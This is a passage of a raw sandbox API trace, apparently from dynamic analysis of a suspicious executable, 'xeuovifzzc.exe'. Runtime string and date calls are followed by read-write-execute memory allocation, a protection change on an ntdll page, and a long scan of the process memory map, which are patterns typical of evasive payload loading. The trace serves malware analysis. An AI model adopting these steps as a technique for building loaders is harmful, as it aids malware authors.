lpMultiByteStr=0x2913e68, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0088.555] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2913e68, cbMultiByte=-1, lpWideCharStr=0x646444, cchWideChar=24 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop") returned 24 [0088.555] HeapFree (in: hHeap=0x2090000, dwFlags=0x0, lpMem=0x2913e68 | out: hHeap=0x2090000) returned 1 [0088.555] VarBstrCmp (bstrLeft="C:\\Users\\FD1HVy\\Desktop", bstrRight=0x0, lcid=0x0, dwFlags=0x30001) returned 0x2 [0088.555] VarBstrCmp (bstrLeft="tt", bstrRight="tt", lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.555] CharLowerBuffW (in: lpsz="A", cchLength=0x2 | out: lpsz="a") returned 0x2 [0088.555] VarCmp (pvarLeft=0x19f95c, pvarRight=0x19f92c, lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.555] GetLocalTime (in: lpSystemTime=0x19f8b0 | out: lpSystemTime=0x19f8b0*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x1, wDay=0xf, wHour=0x9, wMinute=0x24, wSecond=0x2f, wMilliseconds=0x159)) [0088.555] VarDateFromUdate (in: pudateIn=0x19f8d4, dwFlags=0x0, pdateOut=0x19f8b0 | out: pdateOut=0x19f8b0) returned 0x0 [0088.555] VarBstrCmp (bstrLeft="11", bstrRight="11", lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.555] VarBstrCmp (bstrLeft="aa", bstrRight="a", lcid=0x0, dwFlags=0x30001) returned 0x2 [0088.555] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x19f760, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\xeuovifzzc.exe")) returned 0x26 [0088.555] lstrcpynA (in: lpString1=0x19f64c, lpString2="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", iMaxLength=260 | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe") returned="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" [0088.555] lstrlenA (lpString="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe") returned 38 [0088.555] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x27) returned 0x2913c58 [0088.556] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x27) returned 0x2913c88 [0088.556] lstrcpyA (in: lpString1=0x2913c58, lpString2="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe") returned="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" [0088.557] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x18) returned 0x2914408 [0088.557] HeapFree (in: hHeap=0x2090000, dwFlags=0x0, lpMem=0x2913c88 | out: hHeap=0x2090000) returned 1 [0088.557] HeapFree (in: hHeap=0x2090000, dwFlags=0x0, lpMem=0x2913c58 | out: hHeap=0x2090000) returned 1 [0088.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2914408, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0088.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2914408, cbMultiByte=-1, lpWideCharStr=0x646444, cchWideChar=24 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop") returned 24 [0088.557] HeapFree (in: hHeap=0x2090000, dwFlags=0x0, lpMem=0x2914408 | out: hHeap=0x2090000) returned 1 [0088.557] VarBstrCmp (bstrLeft="C:\\Users\\FD1HVy\\Desktop", bstrRight=0x0, lcid=0x0, dwFlags=0x30001) returned 0x2 [0088.557] GetLocalTime (in: lpSystemTime=0x19f8d0 | out: lpSystemTime=0x19f8d0*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x1, wDay=0xf, wHour=0x9, wMinute=0x24, wSecond=0x2f, wMilliseconds=0x159)) [0088.557] VarDateFromUdate (in: pudateIn=0x19f8f4, dwFlags=0x0, pdateOut=0x19f8d0 | out: pdateOut=0x19f8d0) returned 0x0 [0088.557] GetCurrentThreadId () returned 0x10c0 [0088.557] GetCurrentThreadId () returned 0x10c0 [0088.557] GetCurrentThreadId () returned 0x10c0 [0088.557] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x6) returned 0x2913c58 [0088.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2913c58, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0088.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2913c58, cbMultiByte=-1, lpWideCharStr=0x65bcfc, cchWideChar=6 | out: lpWideCharStr="inter") returned 6 [0088.557] HeapFree (in: hHeap=0x2090000, dwFlags=0x0, lpMem=0x2913c58 | out: hHeap=0x2090000) returned 1 [0088.557] SafeArrayAllocDescriptorEx (in: vt=0x3, cDims=0x1, ppsaOut=0x19f998 | out: ppsaOut=0x19f998) returned 0x0 [0088.558] SafeArrayDestroyDescriptor (psa=0x643c50) returned 0x0 [0088.558] VarBstrCmp (bstrLeft="AA", bstrRight="AA", lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.558] VarCmp (pvarLeft=0x19f8f4, pvarRight=0x19f8a4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.558] GetLocalTime (in: lpSystemTime=0x19f7f4 | out: lpSystemTime=0x19f7f4*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x1, wDay=0xf, wHour=0x9, wMinute=0x24, wSecond=0x2f, wMilliseconds=0x159)) [0088.558] VarDateFromUdate (in: pudateIn=0x19f818, dwFlags=0x0, pdateOut=0x19f7f4 | out: pdateOut=0x19f7f4) returned 0x0 [0088.558] GetUserDefaultLCID () returned 0x409 [0088.558] VarDateFromStr (in: strIn="6/15/2020", lcid=0x409, dwFlags=0x2, pdateOut=0x19f864 | out: pdateOut=0x19f864) returned 0x0 [0088.558] GetLocalTime (in: lpSystemTime=0x19f7f4 | out: lpSystemTime=0x19f7f4*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x1, wDay=0xf, wHour=0x9, wMinute=0x24, wSecond=0x2f, wMilliseconds=0x159)) [0088.558] VarDateFromUdate (in: pudateIn=0x19f818, dwFlags=0x0, pdateOut=0x19f7f4 | out: pdateOut=0x19f7f4) returned 0x0 [0088.558] VarCmp (pvarLeft=0x19f8e4, pvarRight=0x19f8d4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.558] VarCmp (pvarLeft=0x19f8e4, pvarRight=0x19f8b4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.558] SafeArrayGetDim (psa=0x19f968) returned 0x1 [0088.558] SafeArrayGetLBound (in: psa=0x19f968, nDim=0x1, plLbound=0x19f864 | out: plLbound=0x19f864) returned 0x0 [0088.558] SafeArrayGetUBound (in: psa=0x19f968, nDim=0x1, plUbound=0x19f868 | out: plUbound=0x19f868) returned 0x0 [0088.559] SafeArrayAccessData (in: psa=0x19f968, ppvData=0x19f878 | out: ppvData=0x19f878) returned 0x0 [0088.559] SafeArrayUnaccessData (psa=0x19f968) returned 0x0 [0088.559] LoadStringA (in: hInstance=0x66000000, uID=0x2718, lpBuffer=0x19f658, cchBufferMax=500 | out: lpBuffer="Out of string space") returned 0x13 [0088.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f658, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0088.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f658, cbMultiByte=-1, lpWideCharStr=0x646444, cchWideChar=20 | out: lpWideCharStr="Out of string space") returned 20 [0088.559] VarBstrCmp (bstrLeft="Out of string space", bstrRight="Out of string space", lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.559] VarBstrCmp (bstrLeft="tt", bstrRight="tt", lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.560] CharLowerBuffW (in: lpsz="A", cchLength=0x2 | out: lpsz="a") returned 0x2 [0088.560] VarCmp (pvarLeft=0x19f8e4, pvarRight=0x19f8a4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.560] GetLocalTime (in: lpSystemTime=0x19f828 | out: lpSystemTime=0x19f828*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x1, wDay=0xf, wHour=0x9, wMinute=0x24, wSecond=0x2f, wMilliseconds=0x159)) [0088.560] VarDateFromUdate (in: pudateIn=0x19f84c, dwFlags=0x0, pdateOut=0x19f828 | out: pdateOut=0x19f828) returned 0x0 [0088.560] GetLocalTime (in: lpSystemTime=0x19f838 | out: lpSystemTime=0x19f838*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x1, wDay=0xf, wHour=0x9, wMinute=0x24, wSecond=0x2f, wMilliseconds=0x159)) [0088.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f86c, cbMultiByte=8, lpWideCharStr=0x65bf54, cchWideChar=8 | out: lpWideCharStr="09:36:47") returned 8 [0088.563] VarFormatCurrency (in: pvarIn=0x19f8f4, iNumDig=-1, iIncLead=-2, iUseParens=-2, iGroup=-2, dwFlags=0x0, pbstrOut=0x19f85c | out: pbstrOut=0x19f85c*="$1.00") returned 0x0 [0088.563] VarCmp (pvarLeft=0x19f974, pvarRight=0x19f964, lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.563] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x19f774, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\xeuovifzzc.exe")) returned 0x26 [0088.563] lstrcpynA (in: lpString1=0x19f660, lpString2="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", iMaxLength=260 | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe") returned="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" [0088.564] lstrlenA (lpString="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe") returned 38 [0088.564] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x27) returned 0x2913c58 [0088.564] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x27) returned 0x2913c88 [0088.564] lstrcpyA (in: lpString1=0x2913c58, lpString2="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe") returned="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" [0088.565] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x18) returned 0x29142a8 [0088.565] HeapFree (in: hHeap=0x2090000, dwFlags=0x0, lpMem=0x2913c88 | out: hHeap=0x2090000) returned 1 [0088.565] HeapFree (in: hHeap=0x2090000, dwFlags=0x0, lpMem=0x2913c58 | out: hHeap=0x2090000) returned 1 [0088.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x29142a8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0088.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x29142a8, cbMultiByte=-1, lpWideCharStr=0x64612c, cchWideChar=24 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop") returned 24 [0088.565] HeapFree (in: hHeap=0x2090000, dwFlags=0x0, lpMem=0x29142a8 | out: hHeap=0x2090000) returned 1 [0088.565] VarBstrCmp (bstrLeft="C:\\Users\\FD1HVy\\Desktop", bstrRight=0x0, lcid=0x0, dwFlags=0x30001) returned 0x2 [0088.565] VarBstrCmp (bstrLeft="Double", bstrRight="Double", lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f916, cbMultiByte=1, lpWideCharStr=0x19f904, cchWideChar=1 | out: lpWideCharStr=" \x19寮\x19猢A\x01") returned 1 [0088.565] VarBstrCmp (bstrLeft=" ", bstrRight=" ", lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.565] SysReAllocString (in: pbstr=0x19f908*="2", psz=" 2" | out: pbstr=0x19f908*=" 2") returned 1 [0088.565] GetUserDefaultLCID () returned 0x409 [0088.565] GetLocaleInfoA (in: Locale=0x409, LCType=0xc, lpLCData=0x64668a, cchData=8 | out: lpLCData=",") returned 2 [0088.565] GetLocaleInfoA (in: Locale=0x409, LCType=0xe, lpLCData=0x646692, cchData=8 | out: lpLCData=".") returned 2 [0088.565] GetLocaleInfoA (in: Locale=0x409, LCType=0x100c, lpLCData=0x19f850, cchData=64 | out: lpLCData="6") returned 2 [0088.565] GetLocaleInfoA (in: Locale=0x409, LCType=0x100d, lpLCData=0x19f850, cchData=64 | out: lpLCData="0") returned 2 [0191.460] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x40) returned 0x1c0000 [0191.468] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x1c2cc2*=0x7ffcea381000, NumberOfBytesToProtect=0x1c2cba, NewAccessProtection=0x40, OldAccessProtection=0x1c2cb2 | out: BaseAddress=0x1c2cc2*=0x7ffcea381000, NumberOfBytesToProtect=0x1c2cba, OldAccessProtection=0x1c2cb2*=0x20) returned 0x0 [0191.502] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0191.503] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.503] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x11000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x11000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xf000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.503] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x12000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x12000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.504] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x13000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x13000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xd000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.504] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x14000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x14000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xc000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.504] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x15000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x15000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xb000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.504] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x16000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x16000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xa000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.504] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x17000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x17000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x9000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.504] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x18000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x18000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x8000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.504] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x19000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x19000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x7000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.504] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x1a000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x6000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.504] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x1b000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.504] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x1c000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.505] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x1d000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.511] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x1e000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.511] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x1f000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.511] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x20000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x20000, AllocationBase=0x20000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.511] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x21000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x21000, AllocationBase=0x20000, AllocationProtect=0x4, RegionSize=0x3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x22000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x22000, AllocationBase=0x20000, AllocationProtect=0x4, RegionSize=0x2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x23000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x23000, AllocationBase=0x20000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x24000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x24000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xc000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x25000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x25000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x26000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x26000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xa000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x27000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x27000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x28000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x28000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x8000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x29000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x29000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x7000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x2a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x6000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x2b000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x5000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x2c000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x4000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x2d000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x3000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x2e000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x2000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x2f000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x30000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x30000, AllocationBase=0x30000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x31000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x31000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x32000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x32000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xe000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x33000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x33000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xd000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x34000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x34000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xc000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x35000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x35000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x36000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, 